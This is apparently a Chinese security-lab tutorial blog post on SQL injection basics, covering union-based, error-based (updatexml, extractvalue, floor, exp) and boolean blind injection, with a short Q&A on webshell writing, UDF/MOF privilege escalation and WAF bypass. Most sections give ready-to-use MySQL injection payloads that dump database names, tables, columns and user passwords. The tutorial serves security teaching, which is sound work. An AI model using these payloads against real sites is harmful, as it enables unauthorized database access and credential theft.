sql concat函数_带你了解SQL注入基础

“sql信息安全方面一个非常重要的领域,为了学好它,还是先来简单了解下浏览器工作原理和sql注入原理吧0 1web浏览器相关工作原理

(图片比文字能更好的帮助理解,下图)

e3836f62e375b2e08070ca1a9549f9b4.png

0 2sql注入原理

将恶意的SQL代码插入到用户的输入参数的攻击,攻击者发现开发者编程过程中的漏洞,构造SQL语句,用户直接对数据库系统的内容进行直接检索或修改

看完原理是不是感觉看不懂呢?学完这篇推文,相信你一定能对sql注入有所了解

sql相关函数及运算符

f29206238b4470206765e7756805fa72.pngd5af0ed3c2904701b8e00a6a551c6f94.png

注:xpath相关教程(w3cschool)

https://dev.mysql.com/doc/refman/5.7/en/dynindex-function.html

(点击上方链接,了解更多)

比较运算符

· is null()/is not null()

· between and

· in / not in

· like/not like

· regexp

逻辑运算符

· and   &&

· or     ||

0 3sql注入流程sql查询语句的编写以及注释符

select * from where id=1;

select * from where id='1';

select * from where id="1";

select * from where id=1 # and 1=2;

select * from where id=1 -- and 1=2;

相关操作语句

c47a3d15a7d3cf80ac6b4f055716818e.pnge1ec4ff31f1a31cf54c6e87797a04fb6.png17653683a9448eef3ccb942c84e77257.png4f588c9dd97c5a3b4e0cef8624d04bbe.png96d18eb3a785723c4acbd4c64085c832.png5a22a8c2798ed8c652210a529d4108a6.png953d965357ecbd45ba3f81587698015a.png131fc00a9078ea45d138fe3334bb76b4.png

以上为sql注入的一些基础知识,如果都能理解,那么恭喜你打开了sql注入的大门
既然基础都了解的差不多了,那我们就向更难更深处进发吧!

//

9adb1c01953e96256f095fbb3eee9bac.gif接下来讲解一些sql注入中的各种问题 baf3887f965ff20b7ac78df3afd66965.gif0 1union查询注入

(该注入不能在update,insert,limit等之后)

1.确定字段数

使用order by来确定列数,使用二分法可以快速判断

2.确定数据库名

select * from test where id=-1 union select 1,2,3,(database());

select * from test where id=-1 union select 1,2,3,(select group_concat(schema_name) from information_schema.schemata);

id=1' union select 1,database()--+

3.确定表名

select * from test where id=-1 union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema='test');

select first_name,last_name from users where user_id=1 union select 1,table_name from information_schema.tables where table_schema='dvwa';

id=1' union select 1,table_name from information_schema.tables where table_schema='dvwa'--+

注:table_scheme的参数可以使用十六进制,不需加引号,或者使用table_schema=database();

4.确定字段名

select * from test where id=-1 union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name='test');

id=1' union select 1,column_name from information_schema.columns where table_name='users'--+

5.确定数据

select * from test where id=-1 union select 1,2,3,title from test;

select * from test where id=-1 union select 1,2,3,concat_ws('~',title,author) from test;select * from test where id=-1 union select 1,2,3,concat_ws('~',title,author) from test limit 0,1;

id=1' union select user,password from users--+

0 2报错注入原理

返回长度有限

1.概念:让错误信息中返回数据库中的内容,来实现SQL注入,即想办法构造语句,让错误信息中可以显示数据库内容

2.凡是可以让错误信息显示的函数(语句),都能实现报错注入

· floor():group by 对 rand()函数进行操作时产生错误

select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2));

查询表名

select count(*) from information_schema.tables group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2));

查询列名

select count(*) from information_schema.tables group by concat(0x7e,(select column_name from information_schema.columns where table_name='test' limit 0,1),0x7e,floor(rand(0)*2));

extractvalue():xpath语法错误产生报错

select extractvalue(1,concat(0x7e,(select user()),0x7e));

注:使用时一定要以一个非法的xpath值开头

select extractvalue(1,concat('!',(select user())));

updatexml():xpath语法错误产生报错

select updatexml(1,concat(0x7e,(select user()),0x7e),1);

查询表名

select updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1);

查询列名

select updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='test' limit 0,1),0x7e),1);

查询数据

select updatexml(1,concat(0x7e,(select concat(title,0x7e,author) from test limit 0,1),0x7e),1);

当需要信息比较长,可以使用substr()函数截取长度,多次截取得到结果

0 3布尔盲注

布尔盲注就是存在注入的页面没有回显,没办法用select 1,2,3....#来判断页面的回显,只能用对和错页面显示结果不同一点一点注入

函数

作用

length(str)

返回指定字符串的长度

substr(str,pos,len)/substring(str,pos,len)

返回截取的子字符串。

ascii(str)

返回指定字符串最左侧字符的ascii值。

步骤:

1、获得数据库名每个字符的ASCII值,将其转化为字符

在url加:and ascii(substr(databse(),1,1))>97#

用二分法会快一些,当然,也可以先用length判断一下长度再去获得ASCII值,都差不多

2、然后获得表的数量

在url加:and (select count(table_name) from information_schema.tables where table_schema=database()) = 5 #

3、根据表的数量,逐个猜解每个表名

在url加:and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #

这里limit几看你有几个表了,一个一个猜,

4、猜每个表的字段名

在url后加:and ascii(substr((select column_name from information_schema.columns where table_name='获取到的表名' and table_schema='获取到的数据库名' limit 0,1),1,1))>97#

limit也是老样子

5、猜字段值

在url后加:and ascii(substr((select concat(字段名) from 数据库名.表名limit 0,1),1,1))>97#

这样一点一点来,就可以得到字段值了

0 4报错注入

前提条件:

一般是在页面没有显示位、但用echo mysql_error();输出了错误信息的时候使用,它的特点是注入速度快,但是语句较复杂,不能用group_concat(),只能用limit依次猜解

updatexml

updatexml(xml_document,xpath_string,new_value);

第一个参数:xml_documnet是String格式,为XML文档对象的名称,文中为Doc

第二个参数:xpath_string(xpath格式的字符串),如果不了解xpath语法,可以在网上查找教程

第三个参数:new_value,string格式,替换查找到的符合条件的数据

然后咱们再看看语句:

http://www.XXXIII.com/a.php?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

concat(str1,str2,...)

返回结果为连接参数产生的字符串。如有任何一个参数为null,则返回值为null

通过查询@@version,返回版本。然后concat将其字符串化。因为updatexml第二个参数需要xpath格式的字符串,所以不符合要求,然后报错

错误大概会是:

ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

floor

利用方式:

count(*)、rand()、group by三者缺一不可报错注入用一个公式,只要套用公式即可,公式如下:?id=2' and (select 1 from (select count(*),concat( floor(rand(0)*2),(select (select (爆错语句)) from information_schema.tables limit 0,1))x from information_schema.tables group by x )a)--+

公式解析:

floor()是取整数rand()在0和1之间产生一个随机数rand(0)*2将取0到2的随机数floor(rand()*2)有两条记录就会报错

floor(rand(0)*2)记录需为3条以上,且3条以上必报错,返回的值是有规律的count(*)是用来统计结果的,相当于刷新一次结果group by在对数据进行分组时会先看看虚拟表里有没有这个值,没有的话就插入存在的话count(*)加1在使用group by时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次

如下:

id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a)

extractvalue

    id = 1 and (extractvalue(1, concat(0x5c,(select user()))))

exp

id =1 and EXP(~(SELECT * from(select user())a))

其他

GeometryCollection()id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))polygon()id =1 AND polygon((select * from(select * from(select user())a)b))multipoint()id = 1 AND multipoint((select * from(select * from(select user())a)b))multilinestring()id = 1 AND multilinestring((select * from(select * from(select user())a)b))linestring()id = 1 AND LINESTRING((select * from(select * from(select user())a)b))multipolygon()id =1 AND multipolygon((select * from(select * from(select user())a)b))

https://zhuanlan.zhihu.com/p/85217769

https://www.freebuf.com/articles/web/36683.html

https://www.jianshu.com/p/6e83fa692b51

绕过:https://www.sharewaf.com/bypass_waf_sql.html

0 5SQL注入分类

依据注入点类型分类

· 数字型注入

· 字符串型注入

· 搜索型注入

依据提交方式分类

· GET注入

· POST注入

· COOKIE注入

· HTTP头注入(XFF注入--x-forwarded、UAF注入--UserAgent、REFERER注入、cookie注入)

依据获取信息的方式分类

· 基于布尔的盲注

· 基于时间的盲注

· 基于报错的注入

· 联合查询注入

· 堆查询注入(可同时执行多条语句)

答疑解惑 434a2f526d75e4cb9319e62ec1b8c8ce.pngmysql的网站注入,5.0以上和5.0以下有什么区别?5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名 9be4a0034a007fde89a2f2227f2319cf.png 434a2f526d75e4cb9319e62ec1b8c8ce.pngmysql注入点,用工具对目标站直接写入一句话,需要哪些条件? root权限以及网站的绝对路径 9be4a0034a007fde89a2f2227f2319cf.png 434a2f526d75e4cb9319e62ec1b8c8ce.png为何一个mysql数据库的站,只有一个80端口开放?站库分离,3306端口不对外开放 9be4a0034a007fde89a2f2227f2319cf.png 434a2f526d75e4cb9319e62ec1b8c8ce.png3389无法连接的几种情况

1.没开放3389

2..端口端口被修改

3.防护拦截

4.处于内网(需进行端口转发)

9be4a0034a007fde89a2f2227f2319cf.png 434a2f526d75e4cb9319e62ec1b8c8ce.png如何突破注入时字符被转义?hex编码绕过 9be4a0034a007fde89a2f2227f2319cf.png 434a2f526d75e4cb9319e62ec1b8c8ce.pngmysql如何提权udf,mof 9be4a0034a007fde89a2f2227f2319cf.png 434a2f526d75e4cb9319e62ec1b8c8ce.pngaccess 扫出后缀为asp的数据库文件,访问乱码。如何实现到本地利用?   迅雷下载,直接改后缀为.mdb 9be4a0034a007fde89a2f2227f2319cf.png 434a2f526d75e4cb9319e62ec1b8c8ce.png提权时选择可读写目录,为何尽量不用带空格的目录? 因为exp执行多半需要空格界定参数 9be4a0034a007fde89a2f2227f2319cf.png

好啦,以上就是本期推文的全部内容,希望对你有所帮助哦

da8a70cf2461c3f460277c9c9789a100.gif

湖南农业大学蝰蛇信息安全实验室

文案|周dragon

图文编辑|Louise123

审核|小贾涛涛

指导老师|Hard Target

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值